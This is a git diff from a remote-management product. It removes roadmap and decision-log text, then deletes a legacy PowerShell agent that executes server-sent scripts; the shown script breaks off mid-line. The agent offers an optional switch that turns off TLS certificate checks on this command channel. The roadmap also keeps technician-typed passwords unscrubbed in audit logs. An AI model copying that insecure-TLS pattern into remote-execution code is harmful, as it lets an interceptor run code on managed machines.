(Info/Debug/Audit/Notification) pulled every 4h default. | -| L5 | Tunnel audit — every tech action persisted | High | Open | Reuse existing `tunnel_audit` table (migration 010, unused today). Every command, file op, registry op, service op gets INSERT with session_id, channel_id, operation, details JSONB. No scrubbing — must retain sensitive input if a tech types it. | -| L6 | Retention config | High | Open | `client_events`: 90 days default, tenant configurable. `tunnel_audit` (live): 90 days default, tenant configurable. `tunnel_audit` (archive): indefinite, system-level rotation to object storage. Agent self-logs follow OS-native retention policy. | -| L7 | Tunnel audit archive rotation | High | Open | Monthly job: aged partitions of `tunnel_audit` → compressed JSONL or Parquet in S3/R2/MinIO. Naming: `tunnel_audit/tenant_id={uuid}/year={YYYY}/month={MM}.jsonl.gz`. Dashboard "deep search" endpoint queries archive on demand (Athena/DuckDB). | -| L8 | Agent config push | High | Open | On agent WS connect, server sends `ServerMessage::Config { tenant_settings }`. Real-time updates when tenant admin changes settings in dashboard. Agent adjusts poll cadence + event level filters live without restart. | -| L9 | Dashboard surfaces for L2 (client_events) | Medium | Open | Red-number badge on agent tile (count of unresolved errors last 24h). Time-sorted feed on agent detail page with filter/search. Acknowledge/dismiss individual events. | -| L10 | Sensitive-data-at-rest protection | High | Open | `tunnel_audit` may contain unscrubbed credentials. Postgres TDE or full-disk encryption on server. Access to audit tables strictly admin-role-gated. Meta-audit: log every `SELECT` on `tunnel_audit` to separate table. Document in tech SOP: "every tunnel keystroke is logged." | -| L11 | | | | | - -## Multi-tenancy / MSP SaaS - -Goal stated 2026-04-15: make this a marketable product for other MSPs. Multi-tenancy must be baked in from here on — adding `tenant_id` later would be a brutal migration. - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| M1 | Core tenancy schema | High | Open | New tables: `tenants` (id, name, plan, status, created_at), `tenant_settings` (tenant_id, key, value JSONB), `msp_users` (superadmins across tenants), `tenant_users` (tech ↔ tenant join with role). Add `tenant_id UUID` FK to: `agents`, `tech_sessions`, `tunnel_audit`, `client_events`, `commands`, any other per-customer table. | -| M2 | Tenant-scoped authorization | High | Open | JWT carries `tenant_id` + `role`. Every query must filter by tenant_id (middleware). Super-admin role bypasses for GuruRMM staff. Penalty for bugs here: data leakage across tenants. | -| M3 | Tenant admin dashboard | High | Open | UI for MSP admins to configure their tenant settings (L3/L4/L6 cadences, levels, retention). Super-admin can override across tenants. | -| M4 | Billing / licensing meter | Medium | Open | Per-agent-per-month is standard for RMM. Needs usage counter from day one. Consider Stripe Billing or manual invoicing to start. | -| M5 | Data residency options | Low | Open | Some MSPs require on-prem or regional hosting. Architectural impact: deployment model (single-tenant vs multi-tenant DB), encryption key management. Not required for MVP. | -| M6 | Tenant export API | Medium | Open | MSPs with SOC2/PCI customers will need to export their tenant's audit trail. `GET /api/v1/tenants/{id}/export` producing JSONL or Parquet. Self-service for portability. | -| M7 | Onboarding flow | High | Open | MSP signs up → tenant provisioned → first site created → install link generated → agent installs → first heartbeat → onboarding complete. End-to-end wizard. | -| M8 | | | | | - -## Infrastructure / Operations - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| I1 | Automate dark class injection in deploy | Low | Open | Vite strips class="dark" -- need Vite plugin or build script | -| I2 | Resolve stashed local changes on server | Medium | Open | git stash on 172.16.3.30 has divergent dev work | -| I3 | CI/CD webhook auto-builds on push | Low | Exists | webhook at /webhook/build, build-agents.sh -- needs dashboard build added | -| I4 | | | | | - ---- - -## Modular Architecture & Public APIs - -Goal stated 2026-04-15: the product should be modular from inception. Future modules under consideration: PSA/CRM, remote syslog aggregation, backups, likely more. Both first-party (us) and eventually third-party (other developers, customers) should be able to build modules against stable, versioned interfaces. End users should also have API access to automate against their own data. - -**Architectural principles:** -- **Core is thin + opinionated.** Tenants, agents, auth, audit, command dispatch, tunnel framework — that's the "kernel." Everything else is a module. -- **Modules own their data.** Each module owns a schema namespace (`psa_*`, `backup_*`, `syslog_*`) and never writes directly to another module's tables. Cross-module data access goes through module-exposed APIs. -- **Event bus for cross-cutting communication.** Agent.online, tunnel.opened, command.completed, client_event.received — core publishes, any module subscribes. -- **Public API is a first-class product surface**, not an afterthought. OpenAPI spec, semver-versioned, rate-limited, key-authenticated, documented. -- **Boundary discipline:** if it's tempting to reach across a module boundary, that's a signal to add an API there instead. Breaking this discipline once kills the modularity. - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| X1 | Core vs. module boundary definition | High | Open | Document what's "core" (tenants, agents, auth, audit, command dispatch, tunnel framework, bootstrap) vs. what's a module (everything else). Codify via separate crates / modules in the Rust workspace (`core/`, `modules/psa/`, `modules/backups/`, etc.). Enforce via build system — module code cannot `use` private core internals, only the exposed `core::api::*` surface. | -| X2 | Module manifest / registration | High | Open | Each module ships a `module.toml` declaring: name, version, provides (APIs exposed), consumes (events/APIs used), permissions required (read_agents, write_commands, read_audit, etc.). Loaded at server startup; dashboard reflects installed modules. | -| X3 | Event bus | High | Open | NATS JetStream or Redis Streams. Every significant core action emits a typed event (`agent.online`, `agent.offline`, `tunnel.opened`, `tunnel.closed`, `command.completed`, `client_event.received`, `tenant.created`). Modules subscribe via the bus, not via direct core calls. Decouples timing + enables async modules. | -| X4 | Module-to-core APIs | High | Open | Core exposes a stable in-process API for modules: `core::agents::list(tenant_id)`, `core::commands::enqueue(...)`, `core::audit::record(...)`. Versioned like `core_api_v1`, `core_api_v2`. Modules declare which version they require. | -| X5 | Module-to-module APIs | Medium | Open | Modules can expose their own APIs for other modules to consume. Example: PSA module exposes `psa::tickets::create()` which a Backups module could call when a backup fails. All via the module registry — no direct imports. | -| X6 | Public REST API (for end users + integrations) | High | Open | Versioned under `/api/public/v1/`. OpenAPI 3.1 spec auto-generated. Rate-limited per API key. Scoped API keys (read-only / write / admin). Separate from internal `/api/v1/` used by dashboard. Publish spec at `/api/public/v1/openapi.json`. | -| X7 | API key management | High | Open | Dashboard UI: tenants create/revoke/rotate API keys, scope per key, view last-used and usage stats. Keys carry tenant_id. JWT session tokens (for dashboard) are separate from API keys (for machines). | -| X8 | Public webhook subscriptions | High | Open | Tenants subscribe to events via webhook URL. Event bus (X3) feeds a delivery worker that signs payloads (HMAC), retries with backoff, tracks delivery status in DB. Lets customers integrate without polling. | -| X9 | Third-party module sandbox | Medium | Open | Future work. Options: (a) WebAssembly modules loaded at runtime with capability-based access to core APIs; (b) signed OCI container images run as sidecars with mTLS. (a) is better UX but maturity risk. (b) is ops-heavy but proven. Decide when third-party demand is real. | -| X10 | Module billing isolation | Medium | Open | Each module can have independent pricing (PSA seat-based, Backups GB-based, RMM per-agent). Core billing meter (M4) becomes per-module, aggregates to tenant invoice. Enable tenants to subscribe to some modules but not others. | -| X11 | Module upgrade independence | Medium | Open | Modules version independently of core. Core API versioning (X4) lets modules pin `core_api_v2` and survive core updates. Dashboard shows which modules need upgrades for a new core release. | -| X12 | Module discoverability / marketplace | Low | Open | Eventually: marketplace UI for MSPs to browse/install first- and third-party modules. Signed+reviewed entries only. Revenue share for third-party developers. Many moons away, design constraint for now: don't paint ourselves into a corner. | -| X13 | | | | | - -### Module candidates currently in mind - -Capture these now so the core API design has concrete use cases to validate against: - -- **PSA/CRM module** — tickets, time tracking, contracts, invoicing. Likely largest module, heaviest DB load. Consumes: `agent.online`, `client_event.received`, `command.completed`. Exposes: `psa::tickets::create|assign|close`, `psa::time::log`. -- **Remote Syslog module** — aggregates syslog/Windows Event Log from customer devices to a central searchable store. Consumes: `client_event.received`. Exposes: `syslog::query|subscribe`. Heavy ingest. -- **Backups module** — schedules, monitors, reports on backup jobs (Veeam, Datto, Acronis, Synology, etc.). Consumes: integrations with third-party backup products (pull). Exposes: `backups::status|history|alert`. Compliance-sensitive. -- **Patch management** — track OS + app patch levels, schedule installs, report compliance. -- **Documentation (IT Glue-style)** — customer environment docs, credential vault, runbooks. Deep integration with PSA (customer entity shared). -- **Remote access** — already covered by core tunnel framework; could grow into its own "pro" module with session recording, MFA-gated elevation, etc. -- **Network monitoring** — SNMP/ping monitoring of non-agent devices (switches, printers, UPSs). - -## Protocol Versioning & Stale-Agent Recovery - -Problem surfaced 2026-04-15: as the codebase evolves (multi-tenancy pivot, tunnel channels, new message types), long-offline agents will return to find the wire format they knew is gone. Without an upgrade lane, those agents become zombies — visible in the dashboard as "offline for 47 days," never self-heal, require manual intervention (RDP in, uninstall, reinstall). - -Concrete example: Scileppi VP laptop offline for days. When it wakes up and tries to check in with v0.6.0 against a server that by then expects v0.9.x protocol, we need the server to say "I see you, you're old, here's how to update yourself" — and have the agent auto-comply. - -**Design principle:** the bootstrap/hello path is sacred. It must never break, even across major protocol revisions. All other endpoints and message shapes are allowed to change. An agent that can still reach `/hello` can always recover. - -| # | Feature | Priority | Status | Notes | -|---|---------|----------|--------|-------| -| V1 | Protocol version negotiation on connect | High | Open | Agent sends `{agent_version, protocol_version, os, arch}` as first message. Server responds with `{server_version, min_supported_protocol, latest_protocol, action}` where action ∈ {`proceed`, `upgrade_required`, `rejected`}. WebSocket subprotocol header is one delivery option; a dedicated HTTP hello endpoint is another. Pick one, then never change its shape. | -| V2 | Stable bootstrap endpoint | High | Open | `POST /api/v1/bootstrap/hello` that accepts the agent handshake forever. Contract: input schema is additive-only (new optional fields OK, never rename/remove), output shape is additive-only. Agents as old as v0.1 must be able to hit this and get meaningful response. | -| V3 | Compat shim layer per old protocol version | High | Open | When an old agent checks in, server translates between the old wire format and current internal types. Shim lives in `server/src/compat/v{N}.rs`. Each shim documents: which protocol versions it supports, what adapters it provides, planned removal date. | -| V4 | Server-initiated forced upgrade instruction | High | Open | When handshake returns `action: upgrade_required`, response also includes `update_url`, `update_checksum`, `update_args`, and optional `restart_policy`. Agent treats this as highest-priority command, bypasses normal command queue, upgrades + relaunches itself. | -| V5 | Agent self-update atomic rename (verify) | High | Exists (hardening needed) | Already done per 2026-04-01 ADR. Audit against V4 flow: does current updater handle "tell me exactly which version to install" vs. "upgrade to latest"? May need parameterization. | -| V6 | Per-version support matrix + sunset policy | High | Open | Dashboard surface: table showing N agents per protocol version per tenant. Automated sunset: when a protocol version has 0 live agents for 60 days across all tenants, flag compat shim for removal in next release. Manual override to force-remove earlier. | -| V7 | Agent version pinning per tenant | Medium | Open | MSP can opt tenants into "stable" (N-1), "current" (latest), or "beta" (preview) update channels. Controls auto-update rollout pace across their fleet. | -| V8 | Late check-in handling: accept then command | High | Open | On stale-agent connect: (a) accept the handshake via compat shim, (b) record the connect event in audit, (c) immediately enqueue the upgrade command, (d) agent executes before any other work. Dashboard shows agent as "upgrading" briefly before "online". | -| V9 | Graceful protocol deprecation warnings | Medium | Open | When an agent connects on a deprecated (but still supported) protocol, server sends a warning field in every response. Agent logs it. Gives MSPs lead time to upgrade their fleet before hard-removal. | -| V10 | Rollback path for bad upgrades | High | Open | If v0.N upgrade bricks agents, bootstrap endpoint must let an operator mark v0.N `action: downgrade_required` and ship an older binary. Requires keeping old binaries in `/var/www/gururmm/downloads/` with pinned checksums. | -| V11 | | | | | - -## Certificates & Trust - -Code signing and TLS/trust certificates required to ship + operate the product without install-time friction. Decisions 2026-04-15. - -| # | Item | Priority | Status | Cost | Notes | -|---|------|----------|--------|------|-------| -| C1 | Azure Trusted Signing — Windows agent + installer | High | In progress (2026-04-15) | ~$9.99/mo + per-sig fee | Hosted signing service. Bypasses hardware-token requirement that took effect June 2023. Public Trust level requires 3+ yrs business existence; Private Trust available immediately but limited usefulness. Identity verification via Microsoft takes days. See setup steps in session-logs/2026-04-15. | -| C2 | Apple Developer Program — macOS agent notarization | High | Open | $99/yr | Developer ID Application + Installer certs; notarization via `xcrun notarytool`; Hardened Runtime entitlements; ticket stapling for offline installs. Enrollment can take days — start early. | -| C3 | GPG signing — Linux .deb / .rpm packages | High | Open | Free | Generate key pair, publish pubkey at a stable URL, sign packages with `debsign`/`rpmsign`, host signed apt/yum repo with proper `Release`/`repomd.xml`. | -| C4 | Timestamping — all signed artifacts | High | Open | Free | Use DigiCert or Sectigo public timestamp servers so signatures remain valid after cert rotation. Verify in CI that every signed binary has a valid timestamp. | -| C5 | TLS automation for own domains | High | Done | Free | Cloudflare + Let's Encrypt already in place for `rmm-api.azcomputerguru.com`. Wildcard for `*.gururmm.com` when that domain lights up. | -| C6 | Per-Partner white-label custom domains | Medium | Open | ~$7/mo/domain via CF-for-SaaS, or DIY with ACME DNS-01 | Partners want `rmm.theirbrand.com`. Decide: host certs ourselves via ACME DNS-01 + Cloudflare API, or use Cloudflare for SaaS. Defer until first Partner asks. | -| C7 | Agent-to-server mTLS (enterprise option) | Low | Open | Internal CA + time | Self-signed CA + per-agent client certs. Bootstrap enrolls agent and issues cert scoped to `agent_id`. Adds install complexity. Defer until an enterprise customer demands it. | -| C8 | SBOM + Sigstore/cosign provenance | Medium | Open | Free | Auto-generate CycloneDX or SPDX SBOM per release. `cosign` sign artifacts + container images. Important for SOC2-conscious MSPs evaluating supply chain. | -| C9 | Windows Defender / vendor FP submission runbook | Medium | Open | — | Despite valid signing, heuristic engines flag new binaries. Keep a runbook with submission portal links (Microsoft Security Intelligence, Malwarebytes, etc.). | -| C10 | Email sending trust: DKIM / SPF / DMARC | Medium | Open | Free | Required when PSA module sends ticket notifications. Set up on sending domain; per-Partner if white-labeled email is a feature. | -| C11 | WHQL driver signing | Deferred | Open | $$$ + weeks turnaround | Only if we ship a kernel driver. Avoid this path — use user-mode alternatives first. | -| C12 | | | | | | - -## Decisions Log - -Short record of why things are the shape they are. Append, don't edit. - -**2026-04-15 — Tunnel Phase 1 verified live.** End-to-end test from off-LAN workstation via `rmm-api.azcomputerguru.com`. Open/status/close lifecycle works. Confirmed nginx proxies `/api/*` (not just `/downloads/`). See session-logs/2026-04-15-session.md. - -**2026-04-15 — Logging split into three tiers.** Decided against a single custom log transport. Agent self-logging to OS-native sinks (Event Viewer / journald / os_log). Client machine health via OS event log pulls. Tunnel audit direct to RMM DB. Rationale: sysadmins can troubleshoot with familiar tools; only high-value audit data hits our DB. - -**2026-04-15 — Tunnel audit is never scrubbed.** If a tech types a password during a session, it gets stored. Purpose is to audit tech behavior, and scrubbing would undermine that. Offsetting controls: encryption at rest, admin-role-gated access, meta-audit of log views, tech SOP documentation. See L10. - -**2026-04-15 — Multi-tenancy from day one.** Target market is MSPs reselling this product. Adding `tenant_id` retroactively after feature growth is a brutal migration; baking it in now is cheap. Every new table gets `tenant_id` FK from here forward. - -**2026-04-15 — Poll cadences.** 15-min delta + on-tunnel-open/close for critical+error+warning. 4h bulk for info/debug/audit/notification. All tenant-configurable. - -**2026-04-15 — Retention.** 90 days default for tenant-visible tables. Indefinite system-level for `tunnel_audit` with object-storage archive after the tenant-visible window. Legal/compliance contexts (HIPAA 6yr, PCI 1yr) handled by per-tenant extended retention configs. - -**2026-04-15 — Hierarchy terminology locked.** Platform > Partner (MSP, DB: tenant_id) > Client > Site > Agent. API and UI say "Partner"; DB says `tenant_id`. No "sub-tenant", no ambiguous "customer". Department/OU tier deferred. MSPs can white-label labels via JSONB overrides. See Terminology section at top of this file. - -**2026-04-15 — Modular architecture from day one.** Core = tenants + agents + auth + audit + commands + tunnel framework + bootstrap. Everything else = module. Modules own their schema namespace, never touch each other's tables, communicate via event bus (X3) and versioned module APIs (X4/X5). Public REST API (X6) separate from internal dashboard API. Webhook subscriptions (X8) for customer integrations. Third-party modules via WASM or signed containers — deferred but design-constrained now. Concrete module candidates: PSA/CRM, remote syslog, backups, patch management, IT-Glue-style docs, network monitoring. See X1-X12. - -**2026-04-15 — Bootstrap endpoint is sacred.** Protocol version negotiation via a single `/api/v1/bootstrap/hello` endpoint whose input/output are additive-only forever. Every other endpoint/message is free to evolve. Enables late-arriving agents (Scileppi VP example: offline for days, wakes up to find a newer server protocol) to reconnect, get accepted, and receive an automatic upgrade instruction. Compat shim layer per old protocol version with automated sunset policy when fleet-wide usage hits zero. See V1-V10. - -## Rewrite Assessment - -**Criteria for rewrite:** -- If >50% of planned features require fighting the current architecture -- If the tech stack is fundamentally wrong for the goals -- If accumulated tech debt makes changes unreasonably slow - -**Current assessment (2026-04-15):** The multi-tenancy pivot means a schema refactor is unavoidable (add `tenant_id` everywhere, tenancy-aware auth middleware). This is additive, not a rewrite. Rust + Axum + Postgres + WebSocket stack remains fit for purpose. Current code is a solid foundation. No rewrite planned; structural additions tracked above. diff --git a/projects/msp-tools/guru-rmm/agent-legacy/GuruRMM-Agent.ps1 b/projects/msp-tools/guru-rmm/agent-legacy/GuruRMM-Agent.ps1 deleted file mode 100644 index 75eced9..0000000 --- a/projects/msp-tools/guru-rmm/agent-legacy/GuruRMM-Agent.ps1 +++ /dev/null @@ -1,588 +0,0 @@ -#Requires -Version 2.0 -<# -.SYNOPSIS - GuruRMM Legacy Agent for Windows Server 2008 R2 and older systems. - -.DESCRIPTION - This PowerShell-based agent is designed for legacy Windows systems that cannot - run the modern Rust-based GuruRMM agent. It provides basic RMM functionality - including registration, heartbeat, system info collection, and remote command - execution. - - IMPORTANT: This agent is intended for legacy systems only. For Windows 10/ - Server 2016 and newer, use the native Rust agent instead. - -.PARAMETER ConfigPath - Path to the agent configuration file. Default: $env:ProgramData\GuruRMM\agent.json - -.PARAMETER ServerUrl - The URL of the GuruRMM server (e.g., https://rmm.example.com) - -.PARAMETER SiteCode - The site code for agent registration (e.g., ACME-CORP-1234) - -.PARAMETER AllowInsecureTLS - [SECURITY RISK] Disables SSL/TLS certificate validation. Required ONLY for - systems with self-signed certificates or broken certificate chains. - - WARNING: This flag makes the connection vulnerable to man-in-the-middle - attacks. Only use on isolated networks or when absolutely necessary. - - This flag must be explicitly provided - certificate validation is enabled - by default. - -.PARAMETER Register - Register this agent with the server. - -.EXAMPLE - # Secure installation (recommended) - .\GuruRMM-Agent.ps1 -Register -ServerUrl "https://rmm.example.com" -SiteCode "ACME-CORP-1234" - -.EXAMPLE - # Insecure installation (legacy systems with self-signed certs ONLY) - .\GuruRMM-Agent.ps1 -Register -ServerUrl "https://rmm.example.com" -SiteCode "ACME-CORP-1234" -AllowInsecureTLS - -.EXAMPLE - # Run the agent - .\GuruRMM-Agent.ps1 - -.NOTES - Version: 1.1.0 - Requires: PowerShell 2.0+ - Platforms: Windows Server 2008 R2, Windows 7, and newer - Author: GuruRMM -#> - -param( - [Parameter()] - [string]$ConfigPath = "$env:ProgramData\GuruRMM\agent.json", - - [Parameter()] - [switch]$Register, - - [Parameter()] - [string]$SiteCode, - - [Parameter()] - [string]$ServerUrl = "https://rmm-api.azcomputerguru.com", - - [Parameter()] - [switch]$AllowInsecureTLS -) - -# ============================================================================ -# Configuration -# ============================================================================ - -$script:Version = "1.1.0" -$script:AgentType = "powershell-legacy" -$script:ConfigDir = "$env:ProgramData\GuruRMM" -$script:LogFile = "$script:ConfigDir\agent.log" -$script:PollInterval = 60 # seconds -$script:AllowInsecureTLS = $AllowInsecureTLS -$script:TLSInitialized = $false - -# ============================================================================ -# Logging -# ============================================================================ - -function Write-Log { - param([string]$Message, [string]$Level = "INFO") - - $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" - $logLine = "[$timestamp] [$Level] $Message" - - # Write to console - switch ($Level) { - "ERROR" { Write-Host $logLine -ForegroundColor Red } - "WARN" { Write-Host $logLine -ForegroundColor Yellow } - "DEBUG" { Write-Host $logLine -ForegroundColor Gray } - default { Write-Host $logLine } - } - - # Write to file - try { - if (-not (Test-Path $script:ConfigDir)) { - New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null - } - Add-Content -Path $script:LogFile -Value $logLine -ErrorAction SilentlyContinue - } catch {} -} - -# ============================================================================ -# TLS Initialization -# ============================================================================ - -function Initialize-TLS { - if ($script:TLSInitialized) { - return - } - - # Configure TLS - prefer TLS 1.2 - try { - [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 - Write-Log "TLS 1.2 configured successfully" "INFO" - } catch { - Write-Log "TLS 1.2 not available, trying TLS 1.1" "WARN" - try { - [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls11 - } catch { - Write-Log "TLS 1.1 not available - using system default TLS" "WARN" - try { - [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls - } catch { - Write-Log "TLS configuration failed - connection security may be limited" "WARN" - } - } - } - - # Certificate validation - ONLY disable if explicitly requested - if ($script:AllowInsecureTLS) { - Write-Log "============================================" "WARN" - Write-Log "[SECURITY WARNING] Certificate validation DISABLED" "WARN" - Write-Log "This makes the connection vulnerable to MITM attacks" "WARN" - Write-Log "Only use on legacy systems with self-signed certificates" "WARN" - Write-Log "============================================" "WARN" - - # Log to Windows Event Log for audit trail - try { - $source = "GuruRMM" - if (-not [System.Diagnostics.EventLog]::SourceExists($source)) { - New-EventLog -LogName Application -Source $source -ErrorAction SilentlyContinue - } - Write-EventLog -LogName Application -Source $source -EventId 1001 -EntryType Warning ` - -Message "GuruRMM agent started with certificate validation disabled (-AllowInsecureTLS). This is a security risk." - } catch { - Write-Log "Could not write to Windows Event Log: $_" "WARN" - } - - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } - } else { - Write-Log "Certificate validation ENABLED (secure mode)" "INFO" - # Ensure callback is reset to default (validate certificates) - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null - } - - $script:TLSInitialized = $true -} - -# ============================================================================ -# HTTP Functions (PS 2.0 compatible) -# ============================================================================ - -function Invoke-ApiRequest { - param( - [string]$Endpoint, - [string]$Method = "GET", - [hashtable]$Body, - [string]$ApiKey - ) - - $url = "$($script:Config.ServerUrl)$Endpoint" - - try { - # Initialize TLS settings (only runs once) - Initialize-TLS - - # Use .NET WebClient for PS 2.0 compatibility - $webClient = New-Object System.Net.WebClient - $webClient.Headers.Add("Content-Type", "application/json") - $webClient.Headers.Add("User-Agent", "GuruRMM-Legacy/$script:Version") - - if ($ApiKey) { - $webClient.Headers.Add("Authorization", "Bearer $ApiKey") - } - - if ($Method -eq "GET") { - $response = $webClient.DownloadString($url) - } else { - $jsonBody = ConvertTo-JsonCompat $Body - $response = $webClient.UploadString($url, $Method, $jsonBody) - } - - return ConvertFrom-JsonCompat $response - - } catch [System.Net.WebException] { - $statusCode = $null - if ($_.Exception.Response) { - $statusCode = [int]$_.Exception.Response.StatusCode - } - Write-Log "API request failed: $($_.Exception.Message) (Status: $statusCode)" "ERROR" - return $null - } catch { - Write-Log "API request error: $($_.Exception.Message)" "ERROR" - return $null - } -} - -# PS 2.0 compatible JSON functions -function ConvertTo-JsonCompat { - param([object]$Object) - - if (Get-Command ConvertTo-Json -ErrorAction SilentlyContinue) { - return ConvertTo-Json $Object -Depth 10 - } - - # Manual JSON serialization for PS 2.0 - $serializer = New-Object System.Web.Script.Serialization.JavaScriptSerializer - return $serializer.Serialize($Object) -} - -function ConvertFrom-JsonCompat { - param([string]$Json) - - if (-not $Json) { return $null } - - if (Get-Command ConvertFrom-Json -ErrorAction SilentlyContinue) { - return ConvertFrom-Json $Json - } - - # Manual JSON deserialization for PS 2.0 - Add-Type -AssemblyName System.Web.Extensions - $serializer = New-Object System.Web.Script.Serialization.JavaScriptSerializer - return $serializer.DeserializeObject($Json) -} - -# ============================================================================ -# Configuration Management -# ============================================================================ - -function Get-AgentConfig { - if (Test-Path $ConfigPath) { - try { - $content = Get-Content $ConfigPath -Raw - return ConvertFrom-JsonCompat $content - } catch { - Write-Log "Failed to read config: $($_.Exception.Message)" "ERROR" - } - } - return $null -} - -function Save-AgentConfig { - param([hashtable]$Config) - - try { - if (-not (Test-Path $script:ConfigDir)) { - New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null - } - - $json = ConvertTo-JsonCompat $Config - Set-Content -Path $ConfigPath -Value $json -Force - Write-Log "Configuration saved to $ConfigPath" - return $true - } catch { - Write-Log "Failed to save config: $($_.Exception.Message)" "ERROR" - return $false - } -} - -# ============================================================================ -# System Information Collection -# ============================================================================ - -function Get-SystemInfo { - $info = @{} - - try { - # Basic info - $os = Get-WmiObject Win32_OperatingSystem - $cs = Get-WmiObject Win32_ComputerSystem - $cpu = Get-WmiObject Win32_Processor | Select-Object -First 1 - - $info.hostname = $env:COMPUTERNAME - $info.os_type = "Windows" - $info.os_version = $os.Caption - $info.os_build = $os.BuildNumber - $info.architecture = $os.OSArchitecture - - # Uptime - $bootTime = $os.ConvertToDateTime($os.LastBootUpTime) - $uptime = (Get-Date) - $bootTime - $info.uptime_seconds = [int]$uptime.TotalSeconds - $info.last_boot = $bootTime.ToString("yyyy-MM-ddTHH:mm:ssZ") - - # Memory - $info.memory_total_mb = [math]::Round($cs.TotalPhysicalMemory / 1MB) - $info.memory_free_mb = [math]::Round($os.FreePhysicalMemory / 1KB) - $info.memory_used_percent = [math]::Round((1 - ($os.FreePhysicalMemory * 1KB / $cs.TotalPhysicalMemory)) * 100, 1) - - # CPU - $info.cpu_name = $cpu.Name.Trim() - $info.cpu_cores = $cpu.NumberOfCores - $info.cpu_logical = $cpu.NumberOfLogicalProcessors - $info.cpu_usage_percent = (Get-WmiObject Win32_Processor | Measure-Object -Property LoadPercentage -Average).Average - - # Disk - $disks = @() - Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object { - $disks += @{ - drive = $_.DeviceID - total_gb = [math]::Round($_.Size / 1GB, 1) - free_gb = [math]::Round($_.FreeSpace / 1GB, 1) - used_percent = [math]::Round((1 - ($_.FreeSpace / $_.Size)) * 100, 1) - } - } - $info.disks = $disks - - # Network - $adapters = @() - Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | ForEach-Object { - $adapters += @{ - name = $_.Description - ip_addresses = @($_.IPAddress | Where-Object { $_ }) - mac_address = $_.MACAddress - } - } - $info.network_adapters = $adapters - - # Get primary IP - $primaryIp = (Get-WmiObject Win32_NetworkAdapterConfiguration | - Where-Object { $_.IPAddress -and $_.DefaultIPGateway } | - Select-Object -First 1).IPAddress | - Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' } | - Select-Object -First 1 - $info.primary_ip = $primaryIp - - # Agent info - $info.agent_version = $script:Version - $info.agent_type = $script:AgentType - $info.powershell_version = $PSVersionTable.PSVersion.ToString() - $info.timestamp = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") - - } catch { - Write-Log "Error collecting system info: $($_.Exception.Message)" "ERROR" - } - - return $info -} - -# ============================================================================ -# Registration -# ============================================================================ - -function Register-Agent { - param([string]$SiteCode) - - if (-not $SiteCode) { - # Prompt for site code - Write-Host "" - Write-Host "=== GuruRMM Legacy Agent Registration ===" -ForegroundColor Cyan - Write-Host "" - $SiteCode = Read-Host "Enter site code (WORD-WORD-NUMBER)" - } - - # Validate format - if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') { - $SiteCode = $SiteCode.ToUpper() - if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') { - Write-Log "Invalid site code format. Expected: WORD-WORD-NUMBER (e.g., DARK-GROVE-7839)" "ERROR" - return $false - } - } - - Write-Log "Registering with site code: $SiteCode" - - # Collect system info for registration - $sysInfo = Get-SystemInfo - - $regData = @{ - site_code = $SiteCode - hostname = $sysInfo.hostname - os_type = $sysInfo.os_type - os_version = $sysInfo.os_version - agent_version = $script:Version - agent_type = $script:AgentType - } - - # Call registration endpoint - $script:Config = @{ ServerUrl = $ServerUrl } - $result = Invoke-ApiRequest -Endpoint "/api/agent/register-legacy" -Method "POST" -Body $regData - - if ($result -and $result.api_key) { - # Save configuration - $config = @{ - ServerUrl = $ServerUrl - ApiKey = $result.api_key - AgentId = $result.agent_id - SiteCode = $SiteCode - RegisteredAt = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ") - } - - if (Save-AgentConfig $config) { - Write-Host "" - Write-Host "Registration successful!" -ForegroundColor Green - Write-Host " Agent ID: $($result.agent_id)" -ForegroundColor Cyan - Write-Host " Site: $($result.site_name)" -ForegroundColor Cyan - Write-Host "" - return $true - } - } else { - Write-Log "Registration failed. Check site code and server connectivity." "ERROR" - } - - return $false -} - -# ============================================================================ -# Heartbeat / Check-in -# ============================================================================ - -function Send-Heartbeat { - $sysInfo = Get-SystemInfo - - $heartbeat = @{ - agent_id = $script:Config.AgentId - timestamp = $sysInfo.timestamp - system_info = $sysInfo - } - - $result = Invoke-ApiRequest -Endpoint "/api/agent/heartbeat" -Method "POST" -Body $heartbeat -ApiKey $script:Config.ApiKey - - if ($result) { - Write-Log "Heartbeat sent successfully" "DEBUG" - - # Check for pending commands - if ($result.pending_commands -and $result.pending_commands.Count -gt 0) { - foreach ($cmd in $result.pending_commands) { - Execute-RemoteCommand $cmd - } - } - - return $true - } - - return $false -} - -# ============================================================================ -# Remote Command Execution -# ============================================================================ - -function Execute-RemoteCommand { - param([hashtable]$Command) - - Write-Log "Executing command: $($Command.id) - $($Command.type)" - - $result = @{ - command_id = $Command.id - started_at = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") - success = $false - output = "" - error = "" - } - - try { - switch ($Command.type) { - "powershell" { - # Execute PowerShell script - $output = Invoke-Expression $Command.script 2>&1 - $result.output = $output | Out-String - $result.success = $true - } - "cmd" { - # Execute CMD command - $output = cmd /c $Command.script 2>&1 - $result.output = $output | Out-String - $result.success = $true - } - "info" { - # Return system info - $result.output = ConvertTo-JsonCompat (Get-SystemInfo) - $result.success = $true - } - default { - $result.error = "Unknown command type: $($Command.type)" - } - } - } catch { - $result.error = $_.Exception.Message - $result.output = $_.Exception.ToString() - } - - $result.completed_at = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") - - # Report result back - Invoke-ApiRequest -Endpoint "/api/agent/command-result" -Method "POST" -Body $result -ApiKey 